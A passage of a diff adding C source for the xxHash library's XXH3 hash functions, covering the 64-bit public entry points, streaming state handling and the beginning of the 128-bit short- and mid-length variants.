(*XXH3_hashLong64_f)(const void* XXH_RESTRICT, size_t, + XXH64_hash_t, const xxh_u8* XXH_RESTRICT, size_t); + +XXH_FORCE_INLINE XXH64_hash_t +XXH3_64bits_internal(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, const void* XXH_RESTRICT secret, size_t secretLen, + XXH3_hashLong64_f f_hashLong) +{ + XXH_ASSERT(secretLen >= XXH3_SECRET_SIZE_MIN); + /* + * If an action is to be taken if `secretLen` condition is not respected, + * it should be done here. + * For now, it's a contract pre-condition. + * Adding a check and a branch here would cost performance at every hash. + * Also, note that function signature doesn't offer room to return an error. + */ + if (len <= 16) + return XXH3_len_0to16_64b((const xxh_u8*)input, len, (const xxh_u8*)secret, seed64); + if (len <= 128) + return XXH3_len_17to128_64b((const xxh_u8*)input, len, (const xxh_u8*)secret, secretLen, seed64); + if (len <= XXH3_MIDSIZE_MAX) + return XXH3_len_129to240_64b((const xxh_u8*)input, len, (const xxh_u8*)secret, secretLen, seed64); + return f_hashLong(input, len, seed64, (const xxh_u8*)secret, secretLen); +} + + +/* === Public entry point === */ + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH64_hash_t XXH3_64bits(XXH_NOESCAPE const void* input, size_t length) +{ + return XXH3_64bits_internal(input, length, 0, XXH3_kSecret, sizeof(XXH3_kSecret), XXH3_hashLong_64b_default); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH64_hash_t +XXH3_64bits_withSecret(XXH_NOESCAPE const void* input, size_t length, XXH_NOESCAPE const void* secret, size_t secretSize) +{ + return XXH3_64bits_internal(input, length, 0, secret, secretSize, XXH3_hashLong_64b_withSecret); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH64_hash_t +XXH3_64bits_withSeed(XXH_NOESCAPE const void* input, size_t length, XXH64_hash_t seed) +{ + return XXH3_64bits_internal(input, length, seed, XXH3_kSecret, sizeof(XXH3_kSecret), XXH3_hashLong_64b_withSeed); +} + +XXH_PUBLIC_API XXH64_hash_t +XXH3_64bits_withSecretandSeed(XXH_NOESCAPE const void* input, size_t length, XXH_NOESCAPE const void* secret, size_t secretSize, XXH64_hash_t seed) +{ + if (length <= XXH3_MIDSIZE_MAX) + return XXH3_64bits_internal(input, length, seed, XXH3_kSecret, sizeof(XXH3_kSecret), NULL); + return XXH3_hashLong_64b_withSecret(input, length, seed, (const xxh_u8*)secret, secretSize); +} + + +/* === XXH3 streaming === */ +#ifndef XXH_NO_STREAM +/* + * Malloc's a pointer that is always aligned to @align. + * + * This must be freed with `XXH_alignedFree()`. + * + * malloc typically guarantees 16 byte alignment on 64-bit systems and 8 byte + * alignment on 32-bit. This isn't enough for the 32 byte aligned loads in AVX2 + * or on 32-bit, the 16 byte aligned loads in SSE2 and NEON. + * + * This underalignment previously caused a rather obvious crash which went + * completely unnoticed due to XXH3_createState() not actually being tested. + * Credit to RedSpah for noticing this bug. + * + * The alignment is done manually: Functions like posix_memalign or _mm_malloc + * are avoided: To maintain portability, we would have to write a fallback + * like this anyways, and besides, testing for the existence of library + * functions without relying on external build tools is impossible. + * + * The method is simple: Overallocate, manually align, and store the offset + * to the original behind the returned pointer. + * + * Align must be a power of 2 and 8 <= align <= 128. + */ +static XXH_MALLOCF void* XXH_alignedMalloc(size_t s, size_t align) +{ + XXH_ASSERT(align <= 128 && align >= 8); /* range check */ + XXH_ASSERT((align & (align-1)) == 0); /* power of 2 */ + XXH_ASSERT(s != 0 && s < (s + align)); /* empty/overflow */ + { /* Overallocate to make room for manual realignment and an offset byte */ + xxh_u8* base = (xxh_u8*)XXH_malloc(s + align); + if (base != NULL) { + /* + * Get the offset needed to align this pointer. + * + * Even if the returned pointer is aligned, there will always be + * at least one byte to store the offset to the original pointer. + */ + size_t offset = align - ((size_t)base & (align - 1)); /* base % align */ + /* Add the offset for the now-aligned pointer */ + xxh_u8* ptr = base + offset; + + XXH_ASSERT((size_t)ptr % align == 0); + + /* Store the offset immediately before the returned pointer. */ + ptr[-1] = (xxh_u8)offset; + return ptr; + } + return NULL; + } +} +/* + * Frees an aligned pointer allocated by XXH_alignedMalloc(). Don't pass + * normal malloc'd pointers, XXH_alignedMalloc has a specific data layout. + */ +static void XXH_alignedFree(void* p) +{ + if (p != NULL) { + xxh_u8* ptr = (xxh_u8*)p; + /* Get the offset byte we added in XXH_malloc. */ + xxh_u8 offset = ptr[-1]; + /* Free the original malloc'd pointer */ + xxh_u8* base = ptr - offset; + XXH_free(base); + } +} +/*! @ingroup XXH3_family */ +/*! + * @brief Allocate an @ref XXH3_state_t. + * + * @return An allocated pointer of @ref XXH3_state_t on success. + * @return `NULL` on failure. + * + * @note Must be freed with XXH3_freeState(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH3_state_t* XXH3_createState(void) +{ + XXH3_state_t* const state = (XXH3_state_t*)XXH_alignedMalloc(sizeof(XXH3_state_t), 64); + if (state==NULL) return NULL; + XXH3_INITSTATE(state); + return state; +} + +/*! @ingroup XXH3_family */ +/*! + * @brief Frees an @ref XXH3_state_t. + * + * @param statePtr A pointer to an @ref XXH3_state_t allocated with @ref XXH3_createState(). + * + * @return @ref XXH_OK. + * + * @note Must be allocated with XXH3_createState(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH3_freeState(XXH3_state_t* statePtr) +{ + XXH_alignedFree(statePtr); + return XXH_OK; +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API void +XXH3_copyState(XXH_NOESCAPE XXH3_state_t* dst_state, XXH_NOESCAPE const XXH3_state_t* src_state) +{ + XXH_memcpy(dst_state, src_state, sizeof(*dst_state)); +} + +static void +XXH3_reset_internal(XXH3_state_t* statePtr, + XXH64_hash_t seed, + const void* secret, size_t secretSize) +{ + size_t const initStart = offsetof(XXH3_state_t, bufferedSize); + size_t const initLength = offsetof(XXH3_state_t, nbStripesPerBlock) - initStart; + XXH_ASSERT(offsetof(XXH3_state_t, nbStripesPerBlock) > initStart); + XXH_ASSERT(statePtr != NULL); + /* set members from bufferedSize to nbStripesPerBlock (excluded) to 0 */ + XXH_memset((char*)statePtr + initStart, 0, initLength); + statePtr->acc[0] = XXH_PRIME32_3; + statePtr->acc[1] = XXH_PRIME64_1; + statePtr->acc[2] = XXH_PRIME64_2; + statePtr->acc[3] = XXH_PRIME64_3; + statePtr->acc[4] = XXH_PRIME64_4; + statePtr->acc[5] = XXH_PRIME32_2; + statePtr->acc[6] = XXH_PRIME64_5; + statePtr->acc[7] = XXH_PRIME32_1; + statePtr->seed = seed; + statePtr->useSeed = (seed != 0); + statePtr->extSecret = (const unsigned char*)secret; + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); + statePtr->secretLimit = secretSize - XXH_STRIPE_LEN; + statePtr->nbStripesPerBlock = statePtr->secretLimit / XXH_SECRET_CONSUME_RATE; +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_reset(XXH_NOESCAPE XXH3_state_t* statePtr) +{ + if (statePtr == NULL) return XXH_ERROR; + XXH3_reset_internal(statePtr, 0, XXH3_kSecret, XXH_SECRET_DEFAULT_SIZE); + return XXH_OK; +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_reset_withSecret(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize) +{ + if (statePtr == NULL) return XXH_ERROR; + XXH3_reset_internal(statePtr, 0, secret, secretSize); + if (secret == NULL) return XXH_ERROR; + if (secretSize < XXH3_SECRET_SIZE_MIN) return XXH_ERROR; + return XXH_OK; +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_reset_withSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH64_hash_t seed) +{ + if (statePtr == NULL) return XXH_ERROR; + if (seed==0) return XXH3_64bits_reset(statePtr); + if ((seed != statePtr->seed) || (statePtr->extSecret != NULL)) + XXH3_initCustomSecret(statePtr->customSecret, seed); + XXH3_reset_internal(statePtr, seed, NULL, XXH_SECRET_DEFAULT_SIZE); + return XXH_OK; +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_reset_withSecretandSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize, XXH64_hash_t seed64) +{ + if (statePtr == NULL) return XXH_ERROR; + if (secret == NULL) return XXH_ERROR; + if (secretSize < XXH3_SECRET_SIZE_MIN) return XXH_ERROR; + XXH3_reset_internal(statePtr, seed64, secret, secretSize); + statePtr->useSeed = 1; /* always, even if seed64==0 */ + return XXH_OK; +} + +/*! + * @internal + * @brief Processes a large input for XXH3_update() and XXH3_digest_long(). + * + * Unlike XXH3_hashLong_internal_loop(), this can process data that overlaps a block. + * + * @param acc Pointer to the 8 accumulator lanes + * @param nbStripesSoFarPtr In/out pointer to the number of leftover stripes in the block* + * @param nbStripesPerBlock Number of stripes in a block + * @param input Input pointer + * @param nbStripes Number of stripes to process + * @param secret Secret pointer + * @param secretLimit Offset of the last block in @p secret + * @param f_acc Pointer to an XXH3_accumulate implementation + * @param f_scramble Pointer to an XXH3_scrambleAcc implementation + * @return Pointer past the end of @p input after processing + */ +XXH_FORCE_INLINE const xxh_u8 * +XXH3_consumeStripes(xxh_u64* XXH_RESTRICT acc, + size_t* XXH_RESTRICT nbStripesSoFarPtr, size_t nbStripesPerBlock, + const xxh_u8* XXH_RESTRICT input, size_t nbStripes, + const xxh_u8* XXH_RESTRICT secret, size_t secretLimit, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble) +{ + const xxh_u8* initialSecret = secret + *nbStripesSoFarPtr * XXH_SECRET_CONSUME_RATE; + /* Process full blocks */ + if (nbStripes >= (nbStripesPerBlock - *nbStripesSoFarPtr)) { + /* Process the initial partial block... */ + size_t nbStripesThisIter = nbStripesPerBlock - *nbStripesSoFarPtr; + + do { + /* Accumulate and scramble */ + f_acc(acc, input, initialSecret, nbStripesThisIter); + f_scramble(acc, secret + secretLimit); + input += nbStripesThisIter * XXH_STRIPE_LEN; + nbStripes -= nbStripesThisIter; + /* Then continue the loop with the full block size */ + nbStripesThisIter = nbStripesPerBlock; + initialSecret = secret; + } while (nbStripes >= nbStripesPerBlock); + *nbStripesSoFarPtr = 0; + } + /* Process a partial block */ + if (nbStripes > 0) { + f_acc(acc, input, initialSecret, nbStripes); + input += nbStripes * XXH_STRIPE_LEN; + *nbStripesSoFarPtr += nbStripes; + } + /* Return end pointer */ + return input; +} + +#ifndef XXH3_STREAM_USE_STACK +# if XXH_SIZE_OPT <= 0 && !defined(__clang__) /* clang doesn't need additional stack space */ +# define XXH3_STREAM_USE_STACK 1 +# endif +#endif +/* This function accepts f_acc and f_scramble as function pointers, + * making it possible to implement multiple variants with different acc & scramble stages. + * This is notably useful to implement multiple vector variants with different intrinsics. + */ +XXH_FORCE_INLINE XXH_errorcode +XXH3_update(XXH3_state_t* XXH_RESTRICT const state, + const xxh_u8* XXH_RESTRICT input, size_t len, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble) +{ + if (input==NULL) { + XXH_ASSERT(len == 0); + return XXH_OK; + } + + XXH_ASSERT(state != NULL); + { const xxh_u8* const bEnd = input + len; + const unsigned char* const secret = (state->extSecret == NULL) ? state->customSecret : state->extSecret; +#if defined(XXH3_STREAM_USE_STACK) && XXH3_STREAM_USE_STACK >= 1 + /* For some reason, gcc and MSVC seem to suffer greatly + * when operating accumulators directly into state. + * Operating into stack space seems to enable proper optimization. + * clang, on the other hand, doesn't seem to need this trick */ + XXH_ALIGN(XXH_ACC_ALIGN) xxh_u64 acc[8]; + XXH_memcpy(acc, state->acc, sizeof(acc)); +#else + xxh_u64* XXH_RESTRICT const acc = state->acc; +#endif + state->totalLen += len; + XXH_ASSERT(state->bufferedSize <= XXH3_INTERNALBUFFER_SIZE); + + /* small input : just fill in tmp buffer */ + if (len <= XXH3_INTERNALBUFFER_SIZE - state->bufferedSize) { + XXH_memcpy(state->buffer + state->bufferedSize, input, len); + state->bufferedSize += (XXH32_hash_t)len; + return XXH_OK; + } + + /* total input is now > XXH3_INTERNALBUFFER_SIZE */ + #define XXH3_INTERNALBUFFER_STRIPES (XXH3_INTERNALBUFFER_SIZE / XXH_STRIPE_LEN) + XXH_STATIC_ASSERT(XXH3_INTERNALBUFFER_SIZE % XXH_STRIPE_LEN == 0); /* clean multiple */ + + /* + * Internal buffer is partially filled (always, except at beginning) + * Complete it, then consume it. + */ + if (state->bufferedSize) { + size_t const loadSize = XXH3_INTERNALBUFFER_SIZE - state->bufferedSize; + XXH_memcpy(state->buffer + state->bufferedSize, input, loadSize); + input += loadSize; + XXH3_consumeStripes(acc, + &state->nbStripesSoFar, state->nbStripesPerBlock, + state->buffer, XXH3_INTERNALBUFFER_STRIPES, + secret, state->secretLimit, + f_acc, f_scramble); + state->bufferedSize = 0; + } + XXH_ASSERT(input < bEnd); + if (bEnd - input > XXH3_INTERNALBUFFER_SIZE) { + size_t nbStripes = (size_t)(bEnd - 1 - input) / XXH_STRIPE_LEN; + input = XXH3_consumeStripes(acc, + &state->nbStripesSoFar, state->nbStripesPerBlock, + input, nbStripes, + secret, state->secretLimit, + f_acc, f_scramble); + XXH_memcpy(state->buffer + sizeof(state->buffer) - XXH_STRIPE_LEN, input - XXH_STRIPE_LEN, XXH_STRIPE_LEN); + + } + /* Some remaining input (always) : buffer it */ + XXH_ASSERT(input < bEnd); + XXH_ASSERT(bEnd - input <= XXH3_INTERNALBUFFER_SIZE); + XXH_ASSERT(state->bufferedSize == 0); + XXH_memcpy(state->buffer, input, (size_t)(bEnd-input)); + state->bufferedSize = (XXH32_hash_t)(bEnd-input); +#if defined(XXH3_STREAM_USE_STACK) && XXH3_STREAM_USE_STACK >= 1 + /* save stack accumulators into state */ + XXH_memcpy(state->acc, acc, sizeof(acc)); +#endif + } + + return XXH_OK; +} + +/* + * Both XXH3_64bits_update and XXH3_128bits_update use this routine. + */ +XXH_NO_INLINE XXH_errorcode +XXH3_update_regular(XXH_NOESCAPE XXH3_state_t* state, XXH_NOESCAPE const void* input, size_t len) +{ + return XXH3_update(state, (const xxh_u8*)input, len, + XXH3_accumulate, XXH3_scrambleAcc); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_update(XXH_NOESCAPE XXH3_state_t* state, XXH_NOESCAPE const void* input, size_t len) +{ + return XXH3_update_regular(state, input, len); +} + + +XXH_FORCE_INLINE void +XXH3_digest_long (XXH64_hash_t* acc, + const XXH3_state_t* state, + const unsigned char* secret) +{ + xxh_u8 lastStripe[XXH_STRIPE_LEN]; + const xxh_u8* lastStripePtr; + + /* + * Digest on a local copy. This way, the state remains unaltered, and it can + * continue ingesting more input afterwards. + */ + XXH_memcpy(acc, state->acc, sizeof(state->acc)); + if (state->bufferedSize >= XXH_STRIPE_LEN) { + /* Consume remaining stripes then point to remaining data in buffer */ + size_t const nbStripes = (state->bufferedSize - 1) / XXH_STRIPE_LEN; + size_t nbStripesSoFar = state->nbStripesSoFar; + XXH3_consumeStripes(acc, + &nbStripesSoFar, state->nbStripesPerBlock, + state->buffer, nbStripes, + secret, state->secretLimit, + XXH3_accumulate, XXH3_scrambleAcc); + lastStripePtr = state->buffer + state->bufferedSize - XXH_STRIPE_LEN; + } else { /* bufferedSize < XXH_STRIPE_LEN */ + /* Copy to temp buffer */ + size_t const catchupSize = XXH_STRIPE_LEN - state->bufferedSize; + XXH_ASSERT(state->bufferedSize > 0); /* there is always some input buffered */ + XXH_memcpy(lastStripe, state->buffer + sizeof(state->buffer) - catchupSize, catchupSize); + XXH_memcpy(lastStripe + catchupSize, state->buffer, state->bufferedSize); + lastStripePtr = lastStripe; + } + /* Last stripe */ + XXH3_accumulate_512(acc, + lastStripePtr, + secret + state->secretLimit - XXH_SECRET_LASTACC_START); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH64_hash_t XXH3_64bits_digest (XXH_NOESCAPE const XXH3_state_t* state) +{ + const unsigned char* const secret = (state->extSecret == NULL) ? state->customSecret : state->extSecret; + if (state->totalLen > XXH3_MIDSIZE_MAX) { + XXH_ALIGN(XXH_ACC_ALIGN) XXH64_hash_t acc[XXH_ACC_NB]; + XXH3_digest_long(acc, state, secret); + return XXH3_finalizeLong_64b(acc, secret, (xxh_u64)state->totalLen); + } + /* totalLen <= XXH3_MIDSIZE_MAX: digesting a short input */ + if (state->useSeed) + return XXH3_64bits_withSeed(state->buffer, (size_t)state->totalLen, state->seed); + return XXH3_64bits_withSecret(state->buffer, (size_t)(state->totalLen), + secret, state->secretLimit + XXH_STRIPE_LEN); +} +#endif /* !XXH_NO_STREAM */ + + +/* ========================================== + * XXH3 128 bits (a.k.a XXH128) + * ========================================== + * XXH3's 128-bit variant has better mixing and strength than the 64-bit variant, + * even without counting the significantly larger output size. + * + * For example, extra steps are taken to avoid the seed-dependent collisions + * in 17-240 byte inputs (See XXH3_mix16B and XXH128_mix32B). + * + * This strength naturally comes at the cost of some speed, especially on short + * lengths. Note that longer hashes are about as fast as the 64-bit version + * due to it using only a slight modification of the 64-bit loop. + * + * XXH128 is also more oriented towards 64-bit machines. It is still extremely + * fast for a _128-bit_ hash on 32-bit (it usually clears XXH64). + */ + +XXH_FORCE_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_1to3_128b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + /* A doubled version of 1to3_64b with different constants. */ + XXH_ASSERT(input != NULL); + XXH_ASSERT(1 <= len && len <= 3); + XXH_ASSERT(secret != NULL); + /* + * len = 1: combinedl = { input[0], 0x01, input[0], input[0] } + * len = 2: combinedl = { input[1], 0x02, input[0], input[1] } + * len = 3: combinedl = { input[2], 0x03, input[0], input[1] } + */ + { xxh_u8 const c1 = input[0]; + xxh_u8 const c2 = input[len >> 1]; + xxh_u8 const c3 = input[len - 1]; + xxh_u32 const combinedl = ((xxh_u32)c1 <<16) | ((xxh_u32)c2 << 24) + | ((xxh_u32)c3 << 0) | ((xxh_u32)len << 8); + xxh_u32 const combinedh = XXH_rotl32(XXH_swap32(combinedl), 13); + xxh_u64 const bitflipl = (XXH_readLE32(secret) ^ XXH_readLE32(secret+4)) + seed; + xxh_u64 const bitfliph = (XXH_readLE32(secret+8) ^ XXH_readLE32(secret+12)) - seed; + xxh_u64 const keyed_lo = (xxh_u64)combinedl ^ bitflipl; + xxh_u64 const keyed_hi = (xxh_u64)combinedh ^ bitfliph; + XXH128_hash_t h128; + h128.low64 = XXH64_avalanche(keyed_lo); + h128.high64 = XXH64_avalanche(keyed_hi); + return h128; + } +} + +XXH_FORCE_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_4to8_128b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(input != NULL); + XXH_ASSERT(secret != NULL); + XXH_ASSERT(4 <= len && len <= 8); + seed ^= (xxh_u64)XXH_swap32((xxh_u32)seed) << 32; + { xxh_u32 const input_lo = XXH_readLE32(input); + xxh_u32 const input_hi = XXH_readLE32(input + len - 4); + xxh_u64 const input_64 = input_lo + ((xxh_u64)input_hi << 32); + xxh_u64 const bitflip = (XXH_readLE64(secret+16) ^ XXH_readLE64(secret+24)) + seed; + xxh_u64 const keyed = input_64 ^ bitflip; + + /* Shift len to the left to ensure it is even, this avoids even multiplies. */ + XXH128_hash_t m128 = XXH_mult64to128(keyed, XXH_PRIME64_1 + (len << 2)); + + m128.high64 += (m128.low64 << 1); + m128.low64 ^= (m128.high64 >> 3); + + m128.low64 = XXH_xorshift64(m128.low64, 35); + m128.low64 *= PRIME_MX2; + m128.low64 = XXH_xorshift64(m128.low64, 28); + m128.high64 = XXH3_avalanche(m128.high64); + return m128; + } +} + +XXH_FORCE_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_9to16_128b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(input != NULL); + XXH_ASSERT(secret != NULL); + XXH_ASSERT(9 <= len && len <= 16); + { xxh_u64 const bitflipl = (XXH_readLE64(secret+32) ^ XXH_readLE64(secret+40)) - seed; + xxh_u64 const bitfliph = (XXH_readLE64(secret+48) ^ XXH_readLE64(secret+56)) + seed; + xxh_u64 const input_lo = XXH_readLE64(input); + xxh_u64 input_hi = XXH_readLE64(input + len - 8); + XXH128_hash_t m128 = XXH_mult64to128(input_lo ^ input_hi ^ bitflipl, XXH_PRIME64_1); + /* + * Put len in the middle of m128 to ensure that the length gets mixed to + * both the low and high bits in the 128x64 multiply below. + */ + m128.low64 += (xxh_u64)(len - 1) << 54; + input_hi ^= bitfliph; + /* + * Add the high 32 bits of input_hi to the high 32 bits of m128, then + * add the long product of the low 32 bits of input_hi and XXH_PRIME32_2 to + * the high 64 bits of m128. + * + * The best approach to this operation is different on 32-bit and 64-bit. + */ + if (sizeof(void *) < sizeof(xxh_u64)) { /* 32-bit */ + /* + * 32-bit optimized version, which is more readable. + * + * On 32-bit, it removes an ADC and delays a dependency between the two + * halves of m128.high64, but it generates an extra mask on 64-bit. + */ + m128.high64 += (input_hi & 0xFFFFFFFF00000000ULL) + XXH_mult32to64((xxh_u32)input_hi, XXH_PRIME32_2); + } else { + /* + * 64-bit optimized (albeit more confusing) version. + * + * Uses some properties of addition and multiplication to remove the mask: + * + * Let: + * a = input_hi.lo = (input_hi & 0x00000000FFFFFFFF) + * b = input_hi.hi = (input_hi & 0xFFFFFFFF00000000) + * c = XXH_PRIME32_2 + * + * a + (b * c) + * Inverse Property: x + y - x == y + * a + (b * (1 + c - 1)) + * Distributive Property: x * (y + z) == (x * y) + (x * z) + * a + (b * 1) + (b * (c - 1)) + * Identity Property: x * 1 == x + * a + b + (b * (c - 1)) + * + * Substitute a, b, and c: + * input_hi.hi + input_hi.lo + ((xxh_u64)input_hi.lo * (XXH_PRIME32_2 - 1)) + * + * Since input_hi.hi + input_hi.lo == input_hi, we get this: + * input_hi + ((xxh_u64)input_hi.lo * (XXH_PRIME32_2 - 1)) + */ + m128.high64 += input_hi + XXH_mult32to64((xxh_u32)input_hi, XXH_PRIME32_2 - 1); + } + /* m128 ^= XXH_swap64(m128 >> 64); */ + m128.low64 ^= XXH_swap64(m128.high64); + + { /* 128x64 multiply: h128 = m128 * XXH_PRIME64_2; */ + XXH128_hash_t h128 = XXH_mult64to128(m128.low64, XXH_PRIME64_2); + h128.high64 += m128.high64 * XXH_PRIME64_2; + + h128.low64 = XXH3_avalanche(h128.low64); + h128.high64 = XXH3_avalanche(h128.high64); + return h128; + } } +} + +/* + * Assumption: `secret` size is >= XXH3_SECRET_SIZE_MIN + */ +XXH_FORCE_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_0to16_128b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(len <= 16); + { if (len > 8) return XXH3_len_9to16_128b(input, len, secret, seed); + if (len >= 4) return XXH3_len_4to8_128b(input, len, secret, seed); + if (len) return XXH3_len_1to3_128b(input, len, secret, seed); + { XXH128_hash_t h128; + xxh_u64 const bitflipl = XXH_readLE64(secret+64) ^ XXH_readLE64(secret+72); + xxh_u64 const bitfliph = XXH_readLE64(secret+80) ^ XXH_readLE64(secret+88); + h128.low64 = XXH64_avalanche(seed ^ bitflipl); + h128.high64 = XXH64_avalanche( seed ^ bitfliph); + return h128; + } } +} + +/* + * A bit slower than XXH3_mix16B, but handles multiply by zero better. + */ +XXH_FORCE_INLINE XXH128_hash_t +XXH128_mix32B(XXH128_hash_t acc, const xxh_u8* input_1, const xxh_u8* input_2, + const xxh_u8* secret, XXH64_hash_t seed) +{ + acc.low64 += XXH3_mix16B (input_1, secret+0, seed); + acc.low64 ^= XXH_readLE64(input_2) + XXH_readLE64(input_2 + 8); + acc.high64 += XXH3_mix16B (input_2, secret+16, seed); + acc.high64 ^= XXH_readLE64(input_1) + XXH_readLE64(input_1 + 8); + return acc; +} + + +XXH_FORCE_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_17to128_128b(const xxh_u8* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH64_hash_t seed) +{ + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); (void)secretSize; + XXH_ASSERT(16 < len && len <= 128); + + { XXH128_hash_t acc; + acc.low64 = len * XXH_PRIME64_1; + acc.high64 = 0; + +#if XXH_SIZE_OPT >= 1 + { + /* Smaller, but slightly slower. */ + unsigned int i = (unsigned int)(len - 1) / 32; + do { + acc = XXH128_mix32B(acc, input+16*i, input+len-16*(i+1), secret+32*i, seed); + } while (i-- != 0); + } +#else + if (len > 32) { + if (len > 64) { + if (len > 96) { + acc = XXH128_mix32B(acc, input+48, input+len-64, secret+96, seed); + } + acc = XXH128_mix32B(acc, input+32, input+len-48, secret+64, seed); + } + acc = XXH128_mix32B(acc, input+16, input+len-32, secret+32, seed); + } + acc = XXH128_mix32B(acc, input, input+len-16, secret, seed); +#endif + { XXH128_hash_t h128; + h128.low64 = acc.low64 + acc.high64; + h128.high64 = (acc.low64 * XXH_PRIME64_1) + + (acc.high64 * XXH_PRIME64_4) + + ((len - seed) * XXH_PRIME64_2); + h128.low64 = XXH3_avalanche(h128.low64); + h128.high64 = (XXH64_hash_t)0 - XXH3_avalanche(h128.high64); + return h128; + } + } +} + +XXH_NO_INLINE XXH_PUREF XXH128_hash_t +XXH3_len_129to240_128b(const xxh_u8* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH64_hash_t seed) +{ + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); (void)secretSize; + XXH_ASSERT(128 < len && len <= XXH3_MIDSIZE_MAX); + + { XXH128_hash_t acc; + unsigned i; + acc.low64 = len * XXH_PRIME64_1; + acc.high64 = 0; + /* + * We set as `i` as offset + 32. We do this so that unchanged + * `len` can be used as upper bound. This reaches a sweet spot + * where both x86 and aarch64 get simple agen and good codegen + * for the loop. + */ + for (i = 32; i < 160; i += 32) { + acc = XXH128_mix32B(acc, + input + i - 32, + input + i - 16, + secret + i - 32, + seed); + } + acc.low64 = XXH3_avalanche(acc.low64); + acc.high64 = XXH3_avalanche(acc.high64); + /* + * NB: `i <= len` will duplicate the last 32-bytes if + * len % 32 was zero. This is an unfortunate necessity to keep + * the hash result stable. + */ + for (i=160; i <= len; i += 32) { + acc = XXH128_mix32B(acc, + input + i - 32, + input + i - 16, + secret + XXH3_MIDSIZE_STARTOFFSET + i - 160, + seed); + } + /* last bytes */ + acc = XXH128_mix32B(acc, + input + len - 16, + input + len - 32, + secret + XXH3_SECRET_SIZE_MIN - XXH3_MIDSIZE_LASTOFFSET - 16, + (XXH64_hash_t)0 - seed); + + { XXH128_hash_t h128; + h128.low64 = acc.low64 + acc.high64; + h128.high64 = (acc.low64 * XXH_PRIME64_1) + + (acc.high64 * XXH_PRIME64_4) + + ((len - seed) * XXH_PRIME64_2); + h128.low64 = XXH3_avalanche(h128.low64); + h128.high64 = (XXH64_hash_t)0 - XXH3_avalanche(h128.high64); + return h128; + } + } +} + +static XXH_PUREF XXH128_hash_t +XXH3_finalizeLong_128b(const xxh_u64* XXH_RESTRICT acc, const xxh_u8* XXH_RESTRICT secret, size_t secretSize, xxh_u64 len) +{ + XXH128_hash_t h128; + h128.low64 = XXH3_finalizeLong_64b(acc, secret, len); + h128.high64 = XXH3_mergeAccs(acc, secret + secretSize + - XXH_STRIPE_LEN - XXH_SECRET_MERGEACCS_START, + ~(len * XXH_PRIME64_2)); + return h128; +} + +XXH_FORCE_INLINE XXH128_hash_t +XXH3_hashLong_128b_internal(const void* XXH_RESTRICT input, size_t len, + const xxh_u8* XXH_RESTRICT secret, size_t secretSize, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble) +{ + XXH_ALIGN(XXH_ACC_ALIGN) xxh_u64 acc[XXH_ACC_NB] = XXH3_INIT_ACC; + + XXH3_hashLong_internal_loop(acc, (const xxh_u8*)input, len, secret, secretSize, f_acc, f_scramble); + + /* converge into final hash */ + XXH_STATIC_ASSERT(sizeof(acc) == 64); + XXH_ASSERT(secretSize >= sizeof(acc) + XXH_SECRET_MERGEACCS_START); + return XXH3_finalizeLong_128b(acc, secret, secretSize, (xxh_u64)len); +} + +/* + * It's important for performance that XXH3_hashLong() is not inlined. + */ +XXH_NO_INLINE XXH_PUREF XXH128_hash_t +XXH3_hashLong_128b_default(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, + const void* XXH_RESTRICT secret, size_t secretLen) +{ + (void)seed64; (void)secret; (void)secretLen; + return XXH3_hashLong_128b_internal(input, len, XXH3_kSecret, sizeof(XXH3_kSecret), + XXH3_accumulate, XXH3_scrambleAcc); +} + +/* + * It's important for performance to pass @p secretLen (when it's static) + * to the compiler, so that it can properly optimize the vectorized loop. + * + * When the secret size is unknown, or on GCC 12 where the mix of NO_INLINE and FORCE_INLINE + * breaks -Og, this is XXH_NO_INLINE. + */ +XXH3_WITH_SECRET_INLINE XXH128_hash_t +XXH3_hashLong_128b_withSecret(const void* XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, + const void* XXH_RESTRICT secret, size_t secretLen) +{ + (void)seed64; + return XXH3_hashLong_128b_internal(input, len, (const xxh_u8*)secret, secretLen, + XXH3_accumulate, XXH3_scrambleAcc); +} + +XXH_FORCE_INLINE XXH128_hash_t +XXH3_hashLong_128b_withSeed_internal(const void* 